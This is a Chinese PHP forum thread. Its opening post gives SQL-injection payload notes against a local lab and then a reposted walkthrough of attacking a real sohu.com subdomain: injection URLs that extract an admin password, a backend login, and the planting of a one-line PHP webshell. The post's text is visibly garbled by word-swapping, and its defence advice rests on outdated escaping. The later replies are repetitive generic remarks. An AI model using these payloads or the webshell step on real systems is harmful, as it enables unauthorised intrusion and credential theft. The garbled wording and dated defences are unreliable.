山那边是海 发表于 2015-2-3 23:33:20

PHP教程之PHP的SQL注入

在我开始学习PHP以前,我从未想过要做软件工程,即便是在去听过华育国际的关于软件工程的美好前景后,因为我一直都没有想过要与代码打交道,而是想学好所学专业,做个网络工程师或者是网络安全人员。      明天从网上进修了有关SQL注入的根基妙技。SQL注入的重点就是机关SQL语句,只要天真的应用SQL
  语句才干机关出牛比的注入字符串。学完以后写了点笔记,已备随时利用。但愿你在看上面内容时先了
  解SQL的根基道理。笔记中的代码来自收集。
  ===基本局部===
  本表查询:
  http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
  http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
  Union结合语句:
  http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
  http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
  导出文件:
  http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
  http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
  http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
  INSERT语句:
  INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
  机关homepage值为:http://4ngel.net', '3’)#
  SQL语句变成:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');
  UPDATE语句:我喜好如许个器材
  先了解这句SQL
  UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
  假如此SQL被修正成以下模式,就完成了注入
  1:修正homepage值为
  http://4ngel.net', userlevel='3
  以后SQL语句变成
  UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
  userlevel为用户级别
  2:修正password值为
  mypass)' WHERE username='admin'#
  以后SQL语句变成
  UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
  3:修正id值为
  ' OR username='admin'
  以后SQL语句变成
  UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
  ===初级局部===
  经常使用的MySQL内置函数
  DATABASE()
  USER()
  SYSTEM_USER()
  SESSION_USER()
  CURRENT_USER()
  database()
  version()
  SUBSTRING()
  MID()
  char()
  load_file()
  ……
  函数使用
  UPDATE article SET title=DATABASE() WHERE id=1
  http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
  SELECT * FROM user WHERE username=char(97,110,103,101,108)
  # char(97,110,103,101,108) 相当于angel,十进制
  http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
  http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
  肯定数据布局的字段个数及类型
  http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
  http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
  猜数据表名
  http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members
  跨表查询失掉用户名和暗码
  http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
  其他
  #验证第一名暗码
  http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
  ===注入提防===
  办事器方面
  magic_quotes_gpc设置为On
  display_errors设置为Off
  编码方面
  $keywords = addslashes($keywords);
  $keywords = str_replace("_","\_",$keywords);
  $keywords = str_replace("%","\%",$keywords);
  数值类型
  利用intval()抓换
  字符串类型
  SQL语句参数中要添加单引号
  上面代码,用于防治注入
  if (get_magic_quotes_gpc()) {
  //....
  }else{
  $str = mysql_real_escape_string($str);
  $keywords = str_replace("_","\_",$keywords);
  $keywords = str_replace("%","\%",$keywords);
  }
  有效的函数
  stripslashes()
  get_magic_quotes_gpc()
  mysql_real_escape_string()
  strip_tags()
  array_map()
  addslashes()
  参考文章:
  http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
  http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)
  对sohu.com的一次平安检测
  已宣布于黑客防地
  宣布在http://www.loveshell.net
  sohu.com是国际一家对照大的门户网站,供应了包含邮箱在内的良多办事。这么大的一个网站,不出成绩是很难的,俗语说办事越多越不平安嘛!不管是对 于办事器仍是网站都是这个事理,比来进修Mysql注入,因而特地就对sohu.com做了一次小小的平安检测,看看它存不存在SQL注入破绽。
  看看sohu.com的主站发明差不多都是静态的,因而保持了在主站上找成绩的设法。直接在sohu.com的各个分站上阅读了一圈后发明,大局部网站采 用的都是Php剧本,也有多数用的是jsp剧本,依据经历咱们晓得,关于Php构建的体系,普通后台数据库都是Mysql,就好象asp对应着Mssql一样,看来能够存在成绩的中央仍是良多的。因为Php的特征(Php默许将传递的参数中的'等字符做了转换,所以关于字符类型的变量默许情形下很难注 入),普通情形下咱们注入的只能是数字类型的变量了。依据平常注入的常识,咱们晓得id=XXX如许的模式传递的参数普通都是数字类型的变量,所以咱们只 要去测试那些php?id=XXX的毗连便可能找到破绽了!经由过程一番细心的搜刮,还真让我在XXX.it.sohu.com上找到了一个存在成绩的毗连http://XXX.it.sohu.com/book/serialize.php?id=86
  提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*
  前往正常如图1。
  然后提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
  前往没有信息如图2,空空的吧,应当是SQL语句了局为空了。
  经由过程这两个Url咱们可以猜想破绽是存在的,由于咱们提交的and 1=1和and 1=2都被看成Sql语句履行啦!那末咱们提交的其他语句也是可以履行的,这就是Sql注入了!咱们还可以晓得id这个变量是被看成数字处置的,没有放到 ''之间,不然咱们是胜利不了的哦!假如变量没有过滤Sql其他关头字的话,咱们就很有能够胜利啦!我碰到良多的情形都是变量过滤了select,在 mysql里就是绝路了,好愁闷!
  既然破绽是存在的,让咱们持续吧!起首固然是探测数据库的类型和毗连数据库的帐户啦!权限高而且数据库和web同机械的话可以避免除猜想字段的疾苦啦!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*
  前往正常如图3,这个语句是看数据库的版本是否是高于3的,由于3的ASCII是51嘛!版本的第一个字符是大于51的话固然就是4.0以上啦!4.0以 上是撑持union查询的,如许就能够免去一名一名猜想的疾苦哦!这里了局为真,所以数据库是4.0以上的哦,可以撑持union了。
  既然撑持union查询就先把这个语句的字段给暴出来吧!今后再用union查询甚么都是很快的哦!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*
  前往了局正常如图4,看来字段是大于10个的,持续提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*
  正常前往,提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*
  ......
  到order by 50的时分前往没有信息了!看来是大于40的小于50的,因而提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*
  ......
  终究猜想到字段是41摆布啦!这里说是摆布是由于有些字段是不克不及排序的,所以还需求咱们用union准确定位字段数字是41,提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
  前往了局如图5,哈哈,胜利了哦!哪些字段会在页面显示也是了如指掌了!如今让咱们持续吧!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
  前往了局如图6,完成了数据库体系的探测哦!咱们很有能够不是root,而且数据库办事器和web也很有能够不是在一台办事器,如许的话咱们就没有file权限了!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*
  前往了局如图7,没有对mysql的读取权限,加倍肯定权限不是root了!呵呵!
  既然不是root,也不要泄气,让咱们持续吧!在进一步猜想数据之前咱们最好找下后台先,良多时分找到了办理员暗码却找不到中央上岸,很愁闷的说!在根目 录下加/admin和/manage/等等后台经常使用的地址都是前往404毛病,猜想了几回终究在/book/目次下admin的时分呈现了403 Forbiden毛病,哈哈,是存在这个目次的!然而上岸页面逝世活也猜不出来,愁闷中!不外既然晓得有个admin也好说,去Google里搜刮:
  admin site:sohu.com
  如图8,失掉了别的一个分站的服装论坛,咱们晓得人是很怠惰的,凡是一个中央的后台的特点就极可能是全部网站的特点,所以当我测验考试会见/book/admin /admuser.php的时分事业呈现了,如图9,哈哈,离胜利更近了哦!到这里咱们晓得了网站的后台,其实咱们还可以失掉很主要的信息,检查原文件发 现上岸表单的名字是name和password,很轻易推想出对方办理员表中的布局,即便不合适估量也差不多,呵呵!所以晓得为何咱们要先猜想后台了 吧!持续注入吧!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*
  前往毛病,申明不存在admin这个表,测验考试admins和admin_user等等,最初提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  的时分前往胜利,哈哈!有User这个表!那末是否是办理员表呢?字段又是甚么呢?持续提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  前往空信息的毛病,提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  前往了局如图10,哈哈正常前往而且出来了一个暗码,应当是办理员内外第一个用户的暗码!那末他的用户名字是甚么呢?猜想良多字段都是前往毛病,其实没有举措的时分输出一个ID,竟然前往胜利了!ID就是办理员的名字哦!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  前往了局如图11,哈哈,失掉办理员的名字了哦!冲动地拿着办理员名字和暗码去后台上岸胜利了哦!如图12。如今是想一想怎样拿webshell的时分了, 在后台发明有上传图片的中央,然而当上传php文件的时分提醒说不是图片文件,愁闷了!在后台细心的七零八落的乱翻了会,发明有个生成php文件的功效, 因而在外面拔出了一句话的php后门,如图13,点生成以后提醒胜利了,看来假如没有过滤的话咱们应当是失掉webshell了,暗码是a,用一句 话后门连上去如图14,哈哈,胜利了!剧本检测到此美满完成!
  在失掉webshell以后我上办事器上看了看,发明办事器的平安是做得不错,履行不了号令,而且根基上一切的目次除咱们方才上传的目次以外都是不成写 的,不外作为剧本测试,失掉了webshell也就算胜利了吧!也能够看出,小小的一个参数没有过滤就能够招致网站的低迷,出格是像sohu.com如许 的大站,参数更多,加倍要注重过滤方面的成绩哦!
总的来说,在这一个月左右的时间中,学到的不少,但是也遇到不少的问题,比如批量图片的上传,一直到现在也不懂,如何实现动态的增加上传图片的数量。

海妖 发表于 2015-2-4 02:06:19

刚开始安装php的时候,我图了个省事,把php的扩展全都打开啦(就是把php.ini 那一片 extension 前面的冒号全去掉啦),这样自然有好处,以后不用再需要什么功能再来打开。

第二个灵魂 发表于 2015-2-4 21:32:09

首先声明:我是一个菜鸟,是一个初学者。学习了一段php后总是感觉自己没有提高,无奈。经过反思我认为我学习过程中存在很多问题,我改变了学习方法后自我感觉有了明显的进步。

柔情似水 发表于 2015-2-7 17:56:31

至于模板嘛,各位高人一直以来就是争论不休,我一只小菜鸟就不加入战团啦,咱们新手还是多学点东西的好。

金色的骷髅 发表于 2015-2-8 07:46:56

个人呢觉得,配wamp 最容易漏的一步就是忘了把$PHP$目录下的libmysql.dll拷贝到windows系统目录的system32目录下,还有重启apache。

分手快乐 发表于 2015-2-25 00:59:01

环境搭建好,当你看见你的浏览器输出“it works\\\\\\\"时你一定是喜悦的。在你解决问题的时候,我强烈建议多读php手册。

精灵巫婆 发表于 2015-3-2 01:42:27

对于懒惰的朋友,我推荐php的集成环境xampp或者是wamp。这两个软件安装方便,使用简单。但是我还是强烈建议自己动手搭建开发环境。

因胸联盟 发表于 2015-3-8 21:52:59

使用 jquery 等js框架的时候,要随时注意浏览器的更新情况,不然很容易发生框架不能使用。

再见西城 发表于 2015-3-10 05:16:09

不禁又想起那些说php是草根语言的人,为什么认得差距这么大呢。

不帅 发表于 2015-3-11 10:29:59

你很难利用原理去编写自己的代码。对于php来说,系统的学习我认为还是很重要的,当你有一定理解后,你可你针对某种效果研究,我想那时你不会只是复制代码的水平了。

活着的死人 发表于 2015-3-18 05:33:48

使用 jquery 等js框架的时候,要随时注意浏览器的更新情况,不然很容易发生框架不能使用。

透明 发表于 2015-3-20 20:44:57

你很难利用原理去编写自己的代码。对于php来说,系统的学习我认为还是很重要的,当你有一定理解后,你可你针对某种效果研究,我想那时你不会只是复制代码的水平了。

兰色精灵 发表于 2015-3-31 02:12:49

爱上php,他也会爱上你。

山那边是海 发表于 2015-4-3 19:40:26

首先我是坚决反对新手上来就用框架的,因为对底层的东西一点都不了解,造成知识上的真空,会对以后的发展不利。我的观点上手了解下框架就好,代码还是手写。当然啦如果是位别的编程语言的高手的话,这个就另当别论啦。

老尸 发表于 2015-4-10 09:20:41

其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎

飘灵儿 发表于 2015-4-15 00:12:19

在我安装pear包的时候老是提示,缺少某某文件,才发现 那群extension 的排列是应该有一点的顺序,而我安装的版本的排序不是正常的排序。没办法我只好把那群冒号加了上去,只留下我需要使用的扩展。

乐观 发表于 2015-4-16 11:09:35

我要在声明一下:我是个菜鸟!!我对php这门优秀的语言也是知之甚少。但是我要在这里说一下php在网站开发中最常用的几个功能:

飘飘悠悠 发表于 2015-4-23 01:54:40

其实也不算什么什么心得,在各位大侠算是小巫见大巫了吧,望大家不要见笑,若其中有错误的地方请各位大虾斧正。

变相怪杰 发表于 2015-4-26 07:19:45

再就是混迹于论坛啦,咱们的phpchina的论坛就很强大,提出的问题一般都是有达人去解答的,以前的帖子也要多看看也能学到不少前辈们的经验。别的不错的论坛例如php100,javaeye也是很不错的。

冷月葬花魂 发表于 2015-5-9 13:17:53

使用 jquery 等js框架的时候,要随时注意浏览器的更新情况,不然很容易发生框架不能使用。
页: [1] 2
查看完整版本: PHP教程之PHP的SQL注入